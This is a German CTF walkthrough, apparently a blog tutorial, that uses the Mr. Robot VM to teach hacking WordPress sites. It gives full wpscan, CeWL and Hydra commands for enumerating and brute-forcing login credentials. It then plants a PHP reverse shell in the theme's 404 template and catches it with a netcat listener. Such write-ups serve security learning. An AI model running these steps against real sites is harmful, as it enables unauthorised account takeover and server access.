Wie man eine WordPress-Website hackt – Ethical Hacking Tutorial

Willkommen zurück, liebe Sicherheitsbegeisterte! Heute zeige ich euch, wie man eine WordPress-Website am Beispiel des Mr. Robot CTFs hackt. Ich habe diese hervorragende CTF gerade selbst durchgearbeitet und dabei eine Menge gelernt. Ich wollte mein Spiel mit der Analyse von Schwachstellen im Web verbessern und habe mit dieser CTF begonnen.

Wenn du wirklich Cybersicherheit lernen willst, empfehle ich dir, meinen großen Anfängerleitfaden „Erste Schritte in der Cybersicherheit 2019“ zu lesen, in dem ich dir beibringe, wie du anfangen kannst – völlig kostenlos! Es lohnt sich auch, einen Blick auf den Artikel „Die besten Hacking-Bücher 2019“ zu werfen.

DISCLAIMER: Dieses „Wie hacke ich eine WordPress-Website“ ist ein Ethical Hacking Tutorial und richtet sich an Sicherheitsexperten. Verwenden Sie nicht, ich wiederhole, verwenden Sie diese Techniken nicht ohne die schriftliche Zustimmung des Empfängers. Wenn Sie dieses Tutorial in einem ungesetzlichen Kontext verwenden, könnten Sie strafrechtlich belangt werden und/oder eine Gefängnisstrafe erhalten. Verwenden Sie diese Techniken nur in einer geschlossenen Laborumgebung.

Ein CTF ist ein so genanntes Capture the Flag-Spiel, bei dem das Ziel darin besteht, eine bestimmte Anzahl von Flaggen (oder auch Schlüsseln) zu sammeln. CTFs dienen dazu, die eigenen Hacking-Fähigkeiten in einer sicheren und legalen Umgebung zu üben. Ich kann Vulnhub als Ressource für eine Auswahl hervorragender CTFs empfehlen.

Ok, fangen wir an.

Schritt 1 – Bewerten, ob eine Website WordPress verwendet

Wenn Sie nicht wissen, ob eine Website WordPress verwendet oder nicht, gibt es meist eine sehr einfache Möglichkeit, das herauszufinden.

Sie können einfach eingeben: www.addressofthewebsite.com/wp-admin

Was in den meisten Fällen eine wp-admin Login-Guide aufruft, es sei denn, der Administrator hat es deaktiviert.

Eine andere gute Möglichkeit zu überprüfen, ob eine Website mit WordPress läuft, ist die Verwendung von wpscan. Wpscan ist sowohl in Kali als auch in ParrotSec vorinstalliert.

wpscan -u www.addressofyourtarget.com

In meinem Fall zeigt das Scannen der Mr. Robot VM Folgendes an.

Wie man WordPress hackt
Ein Ausschnitt der Ergebnisse

Wie Sie sehen können, zeigt es deutlich, dass die Website WordPress verwendet. Außerdem werden Ihnen 46 identifizierte Sicherheitslücken angezeigt. Bei den meisten Hostern und neueren Versionen von WordPress wird ein solcher Scan standardmäßig blockiert. Höchstwahrscheinlich funktioniert dies also nur bei veralteten WordPress-Versionen ohne jeglichen Schutz durch einen Hoster.

Ok, so weit, so gut. Jetzt können wir überprüfen, ob die Login-Seite existiert, indem wir zur Website-URL + /wp-admin navigieren, etwa so:

Wie man WordPress hackt
WordPress Login

Und tatsächlich, die Login-Maske erscheint.

Schritt 2 – Code mit Burpsuite abgreifen

Jetzt kommt der schwierige Teil, das Herausfinden des Benutzernamens. Sie könnten mit admin beginnen, aber WordPress generiert in der Regel einen zufälligen Benutzernamen, so dass es schwierig sein könnte, ihn herauszufinden, und Sie müssen möglicherweise weitere Nachforschungen über das Ziel anstellen.

Im Beispiel von Mr. Robot weiß ich, dass der Benutzername Elliot ist (nicht allzu schwer zu erraten). Sie könnten auch versuchen, hydra gegen eine Reihe von Benutzernamenlisten laufen zu lassen, aber zuerst müssen wir burpsuite verwenden, um etwas Code von der Login-Seite zu holen.

Starten Sie burpsuite durch Eingabe von

sudo burpsuite

Erstellen Sie ein neues temporäres Projekt mit den Burp-Standardeinstellungen.

Navigieren Sie zur Registerkarte Ziel -> Bereich und klicken Sie auf Hinzufügen, um die wp-login-Seite in den Bereich aufzunehmen. Wählen Sie im Pop-up-Dialog Ja.

WordPress hacken
Seite zum Bereich hinzufügen

Nächste Schritte: Gehen Sie zum Menü Einstellungen von Firefox und scrollen Sie ganz nach unten, bis Sie Netzwerkproxy finden. Klicken Sie auf Einstellungen.

Wählen Sie Manuelle Proxy-Konfiguration und geben Sie die IP 127.0.0.1 und den Port 8080 ein. Markieren Sie „Diesen Proxyserver für alle Protokolle verwenden“. Klicken Sie auf OK.

WordPress hacken
Hinzufügen eines Proxys

Zurück zu Burpsuite. Öffnen Sie den Reiter Proxy. Nun zurück zur WP-Login Seite. Geben Sie einen beliebigen Benutzernamen und ein beliebiges Passwort ein und klicken Sie auf Log In. Stellen Sie sicher, dass Privacy Badger, uBlock Origins und NoScript für die Seite deaktiviert sind.

Nachdem Sie auf Login geklickt haben, gehen Sie zurück zu Burpsuite und sehen Sie sich die Ausgabe an.

Wie man WordPress hackt
Grabbing Code

log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1

Jetzt haben wir etwas, das wir an Hydra weitergeben können.

Schritt 3 – Den richtigen Benutzernamen finden

Lassen Sie uns ein wenig Spaß haben, um Ihnen eine Idee zu geben, wie Sie einen Benutzernamen für Ihr Ziel herausfinden können. Die VM, die wir für dieses Beispiel verwenden, ist, wie bereits erwähnt, an Mr. Robot angelehnt. Es ist also sehr wahrscheinlich, dass der Benutzername in einer Trivia zu finden ist, die mit Mr. Robot zu tun hat.

Gehen Sie zunächst zurück zu Ihrer Burpsuite und schließen Sie sie. Wir brauchen sie im Moment nicht mehr. Gehen Sie auch zurück zu Ihren Proxy-Einstellungen und deaktivieren Sie den Proxy wieder.

Nun gehe ich auf die Mr. Robot Wikipedia-Seite: https://en.wikipedia.org/wiki/Mr._Robot

Und ich werde eine Liste der Benutzernamen von genau dieser Seite mit CeWL erstellen.

Öffne ein neues Terminalfenster und tippe

sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot

Lassen Sie uns dies aufschlüsseln.

  • -w usernames.txt – sollte ziemlich klar sein, dies ist der Name der Wortliste, die erstellt wird
  • -d1 – Definiert die Tiefe, in der CeWL die Website crawlen wird. 1 bedeutet, dass es auf genau dieser Seite bleibt und keine Links öffnet.
  • -m4 – Definiert die minimale Länge des Wortes, das in die Liste aufgenommen wird
  • https://en.wikipedia.org/wiki/Mr._Robot – offensichtlich die Webseite, die wir crawlen werden.

Sie sehen also, dass Sie diese Technik auf jede zielrelevante Website anwenden können.

Ein Schnelldurchlauf

ls

zeigt uns, dass unsere usernames.txt erstellt wurde.

Wie man WordPress hackt
Überprüfen der CeWL-Ausgabe

In manchen Fällen hat man Glück, wenn man wpscan verwendet, um die Benutzernamen aufzuzählen, also sollte man dies auch versuchen:

wpscan --url http://www.targetwebsite.com --enumerate u

Nun werden wir Hydra verwenden, um diese Liste gegen die wp-login-Seite zu bringen.

Schritt 4 – Bruteforcing von Benutzernamen mit Hydra

Jetzt ist es an der Zeit, unsere Hydra mit den Benutzernamen zu füttern. Ich habe diese Methode in einem der vielen Walkthroughs von Vulnhub gefunden, obwohl ich mich nicht mehr genau daran erinnere, welcher es war, aber ich verweise darauf, dass es sich um eine gute Methode handelt. Öffnen Sie ein neues Terminal-Fenster und geben Sie ein:

hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

Schauen wir uns das mal an.

  • -V – Verbose
  • -L – Unsere Benutzernamen.txt list
  • -p whatever – Das Passwort ist uns egal, denn wir wollen den Benutzernamen herausfinden
    • http-post-form – Die Art des Brute Force Angriffs, den wir durchführen wollen
    • /wp-login.php – Der Pfad zum Anmeldeformular
    • log = ^USER^&pwd=^PASS^&wp-submit=Log+In – Die Werte, die an das Formular gesendet werden, wobei ^USER^ und ^PASS^ Platzhalter für unsere Optionen -L und -p sind
    • F=Ungültiger Benutzername – Sagt hydra, dass der Versuch fehlgeschlagen ist, wenn er Ungültiger Benutzername zurückgibt

Alles klar, lass uns den Befehl ausführen, ja?

WordPress hacken
Hydra-Ergebnisse

Und tatsächlich bekommen wir zurück, dass die Anmeldung mit dem Benutzernamen Elliot erfolgreich war (was nicht der Fall war, es wurde nur bestätigt, dass das Webformular keinen ungültigen Benutzernamen zurückgegeben hat).

Wir müssen also noch das Passwort herausfinden. Aber zumindest haben wir einen Benutzernamen.

Schritt 5 – Brute Forcing des Passworts

Nun könnten wir auch Hydra verwenden, um das Passwort des Benutzers zu erzwingen, aber ich bevorzuge wpscan, da die Syntax einfacher ist.

wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php

rockyou.txt.gz ist nur ein Beispiel, ersetzen Sie es mit der Passwortliste, die Sie verwenden möchten.

Und voila, wir haben den Benutzernamen und das Passwort.

Passwort abfangen

Schritt 6 – Bösartigen Code in WordPress implementieren

Also, jetzt, wo wir den Admin-Zugang zu WordPress haben, gibt es ein paar Möglichkeiten, wie wir vorgehen können. Ich zeige Ihnen einen der einfacheren.

Gehen Sie auf dem angreifenden Computer zu Orte -> Dateisystem -> usr -> share -> webshells -> php und öffnen Sie php-reverse-shell.php

Kopieren Sie den gesamten Inhalt:

Wie man wordpress hackt
Kopieren Sie den Text

Nun in WordPress, navigieren Sie zu Erscheinungsbild -> Editor und wählen Sie die Vorlage 404.php. Dies ist nur ein Beispiel, Sie können den Code auf viele verschiedene Arten implementieren.

Fügen Sie nun Ihren Code hier ein, so dass er etwa so aussieht:

Wie man WordPress hackt
Bearbeiten Sie die gelb markierten Zeilen

Bearbeiten Sie die gelb markierten Zeilen, so dass die IP auf Ihren angreifenden Computer zeigt und wählen Sie einen Port.

Schritt 7 – Starten eines Netcat-Listeners

Nun zurück auf dem angreifenden Computer, starten wir einen Netcat-Listener:

nc -lvp 443

Dann öffnen wir die 404-Seite, indem wir einfach auf den Link gehen: www.yourtargetwebsite.com/404

WordPress hacken
Verbindung hergestellt

Und wir sind drin! Wir haben nicht nur das WordPress-Admin-Konto gehackt, sondern uns auch Zugang zum Server selbst verschafft. Von hier aus musst du deine Fähigkeiten einsetzen, um einen erweiterten Zugang zu erhalten, aber das sollte jetzt nicht mehr allzu schwer sein.

Sie sehen, CTFs sind eine großartige Möglichkeit, neue Dinge zu lernen.

Bis zum nächsten Mal, hacken Sie weiter!

*Alle Techniken, die in den Tutorials auf ceos3c.com zur Verfügung gestellt werden, sind ausschließlich für Bildungszwecke gedacht.
Alle Techniken, die hier gelehrt werden, sollten nur in einer geschlossenen Laborumgebung oder in Absprache mit einer zweiten Partei verwendet werden.
Wenn Sie eine dieser Techniken für illegale Zwecke verwenden, kann Ceos3c nicht für mögliche rechtliche Konsequenzen verantwortlich gemacht werden.

Bitte teilen!

Like Loading…

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.